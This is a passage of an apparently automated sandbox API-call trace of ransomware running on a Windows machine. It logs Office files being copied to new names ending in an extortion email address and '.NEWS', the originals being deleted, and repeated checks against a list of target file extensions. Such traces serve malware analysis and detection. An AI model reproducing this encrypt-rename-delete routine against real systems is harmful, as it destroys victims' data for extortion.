dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0253.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0253.051] GetLastError () returned 0x0 [0253.051] ReadFile (in: hFile=0x188, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0xbef29, lpOverlapped=0x0) returned 1 [0254.577] WriteFile (in: hFile=0x3b0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0255.758] ReadFile (in: hFile=0x188, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0255.758] WriteFile (in: hFile=0x3b0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.759] SetEndOfFile (hFile=0x3b0) returned 1 [0255.759] CloseHandle (hObject=0x3b0) returned 1 [0255.760] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0255.760] SetEndOfFile (hFile=0x188) returned 1 [0256.483] CloseHandle (hObject=0x188) returned 1 [0256.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0257.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0257.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.127] lstrlenW (lpString=".doc") returned 4 [0257.127] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0257.127] lstrlenW (lpString=".docx") returned 5 [0257.127] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0257.128] lstrlenW (lpString=".pdf") returned 4 [0257.128] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0257.128] lstrlenW (lpString=".xls") returned 4 [0257.129] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0257.129] lstrlenW (lpString=".xlsx") returned 5 [0257.129] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0257.129] lstrlenW (lpString=".ppt") returned 4 [0257.129] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0257.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.129] lstrlenW (lpString=".zip") returned 4 [0257.129] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0257.129] lstrlenW (lpString=".rar") returned 4 [0257.129] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0257.129] lstrlenW (lpString=".bz2") returned 4 [0257.129] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0257.129] lstrlenW (lpString=".7z") returned 3 [0257.129] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.130] lstrlenW (lpString=".dbf") returned 4 [0257.130] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.130] lstrlenW (lpString=".1cd") returned 4 [0257.130] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.130] lstrlenW (lpString=".jpg") returned 4 [0257.130] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.130] lstrlenW (lpString=".doc") returned 4 [0257.131] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0257.131] lstrlenW (lpString=".docx") returned 5 [0257.131] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0257.131] lstrlenW (lpString=".pdf") returned 4 [0257.131] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0257.131] lstrlenW (lpString=".xls") returned 4 [0257.131] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0257.131] lstrlenW (lpString=".xlsx") returned 5 [0257.131] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0257.131] lstrlenW (lpString=".ppt") returned 4 [0257.131] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0257.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.131] lstrlenW (lpString=".zip") returned 4 [0257.132] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0257.132] lstrlenW (lpString=".rar") returned 4 [0257.132] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0257.132] lstrlenW (lpString=".bz2") returned 4 [0257.132] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0257.132] lstrlenW (lpString=".7z") returned 3 [0257.132] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0257.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.132] lstrlenW (lpString=".dbf") returned 4 [0257.132] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0257.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.132] lstrlenW (lpString=".1cd") returned 4 [0257.132] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0257.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0257.132] lstrlenW (lpString=".jpg") returned 4 [0257.133] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0257.133] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0257.133] lstrlenW (lpString="Urban.eftx") returned 10 [0257.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0257.149] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=19611) returned 1 [0257.149] CloseHandle (hObject=0x3a0) returned 1 [0257.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0257.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0257.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0257.150] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0257.150] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0257.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.369] GetLastError () returned 0x0 [0260.369] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0260.375] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0260.379] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0260.379] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0260.379] SetEndOfFile (hFile=0x1f0) returned 1 [0260.380] CloseHandle (hObject=0x1f0) returned 1 [0260.380] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0260.380] SetEndOfFile (hFile=0x3a0) returned 1 [0262.240] CloseHandle (hObject=0x3a0) returned 1 [0262.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.244] lstrlenW (lpString=".doc") returned 4 [0262.244] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0262.244] lstrlenW (lpString=".docx") returned 5 [0262.244] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0262.244] lstrlenW (lpString=".pdf") returned 4 [0262.244] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0262.244] lstrlenW (lpString=".xls") returned 4 [0262.244] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0262.244] lstrlenW (lpString=".xlsx") returned 5 [0262.244] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0262.244] lstrlenW (lpString=".ppt") returned 4 [0262.244] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0262.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.244] lstrlenW (lpString=".zip") returned 4 [0262.245] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0262.245] lstrlenW (lpString=".rar") returned 4 [0262.245] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0262.245] lstrlenW (lpString=".bz2") returned 4 [0262.245] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0262.245] lstrlenW (lpString=".7z") returned 3 [0262.245] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0262.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.245] lstrlenW (lpString=".dbf") returned 4 [0262.245] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0262.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.245] lstrlenW (lpString=".1cd") returned 4 [0262.246] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0262.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.246] lstrlenW (lpString=".jpg") returned 4 [0262.246] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0262.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.246] lstrlenW (lpString=".doc") returned 4 [0262.246] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0262.246] lstrlenW (lpString=".docx") returned 5 [0262.246] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0262.246] lstrlenW (lpString=".pdf") returned 4 [0262.247] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0262.247] lstrlenW (lpString=".xls") returned 4 [0262.247] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0262.247] lstrlenW (lpString=".xlsx") returned 5 [0262.248] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0262.248] lstrlenW (lpString=".ppt") returned 4 [0262.248] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0262.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.248] lstrlenW (lpString=".zip") returned 4 [0262.248] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0262.248] lstrlenW (lpString=".rar") returned 4 [0262.248] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0262.248] lstrlenW (lpString=".bz2") returned 4 [0262.248] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0262.248] lstrlenW (lpString=".7z") returned 3 [0262.248] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0262.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.249] lstrlenW (lpString=".dbf") returned 4 [0262.249] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0262.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.249] lstrlenW (lpString=".1cd") returned 4 [0262.249] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0262.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0262.249] lstrlenW (lpString=".jpg") returned 4 [0262.249] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0262.250] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0262.250] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0262.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0262.583] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=15776) returned 1 [0262.583] CloseHandle (hObject=0x384) returned 1 [0262.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0262.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.809] lstrlenW (lpString=".doc") returned 4 [0262.809] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0262.809] lstrlenW (lpString=".docx") returned 5 [0262.809] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0262.810] lstrlenW (lpString=".pdf") returned 4 [0262.810] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0262.810] lstrlenW (lpString=".xls") returned 4 [0262.810] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0262.810] lstrlenW (lpString=".xlsx") returned 5 [0262.810] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0262.810] lstrlenW (lpString=".ppt") returned 4 [0262.810] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0262.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.810] lstrlenW (lpString=".zip") returned 4 [0262.810] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0262.811] lstrlenW (lpString=".rar") returned 4 [0262.811] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0262.811] lstrlenW (lpString=".bz2") returned 4 [0262.811] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0262.811] lstrlenW (lpString=".7z") returned 3 [0262.811] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0262.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.811] lstrlenW (lpString=".dbf") returned 4 [0262.811] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0262.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.811] lstrlenW (lpString=".1cd") returned 4 [0262.811] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0262.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.812] lstrlenW (lpString=".jpg") returned 4 [0262.812] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0262.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.812] lstrlenW (lpString=".doc") returned 4 [0262.812] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0262.812] lstrlenW (lpString=".docx") returned 5 [0262.812] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0262.812] lstrlenW (lpString=".pdf") returned 4 [0262.813] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0262.813] lstrlenW (lpString=".xls") returned 4 [0262.813] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0262.813] lstrlenW (lpString=".xlsx") returned 5 [0262.813] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0262.813] lstrlenW (lpString=".ppt") returned 4 [0262.813] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0262.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.813] lstrlenW (lpString=".zip") returned 4 [0262.813] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0262.813] lstrlenW (lpString=".rar") returned 4 [0262.813] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0262.814] lstrlenW (lpString=".bz2") returned 4 [0262.814] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0262.814] lstrlenW (lpString=".7z") returned 3 [0262.814] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0262.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.814] lstrlenW (lpString=".dbf") returned 4 [0262.814] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0262.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.814] lstrlenW (lpString=".1cd") returned 4 [0262.814] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0262.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0262.814] lstrlenW (lpString=".jpg") returned 4 [0262.814] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0262.815] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0262.815] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0262.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0262.834] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=15776) returned 1 [0262.834] CloseHandle (hObject=0x384) returned 1 [0262.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0262.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.835] lstrlenW (lpString=".doc") returned 4 [0262.835] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0262.836] lstrlenW (lpString=".docx") returned 5 [0262.836] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0262.836] lstrlenW (lpString=".pdf") returned 4 [0262.836] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0262.836] lstrlenW (lpString=".xls") returned 4 [0262.836] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0262.836] lstrlenW (lpString=".xlsx") returned 5 [0262.836] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0262.836] lstrlenW (lpString=".ppt") returned 4 [0262.836] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0262.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.837] lstrlenW (lpString=".zip") returned 4 [0262.837] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0262.838] lstrlenW (lpString=".rar") returned 4 [0262.838] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0262.838] lstrlenW (lpString=".bz2") returned 4 [0262.838] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0262.838] lstrlenW (lpString=".7z") returned 3 [0262.838] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0262.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.838] lstrlenW (lpString=".dbf") returned 4 [0262.838] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0262.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.838] lstrlenW (lpString=".1cd") returned 4 [0262.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0262.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.839] lstrlenW (lpString=".jpg") returned 4 [0262.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0262.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.839] lstrlenW (lpString=".doc") returned 4 [0262.839] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0262.839] lstrlenW (lpString=".docx") returned 5 [0262.839] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0262.840] lstrlenW (lpString=".pdf") returned 4 [0262.840] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0262.840] lstrlenW (lpString=".xls") returned 4 [0262.840] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0262.840] lstrlenW (lpString=".xlsx") returned 5 [0262.840] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0262.840] lstrlenW (lpString=".ppt") returned 4 [0262.840] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0262.840] lstrlenW (lpString="C:\\Program Files\\Microsoft 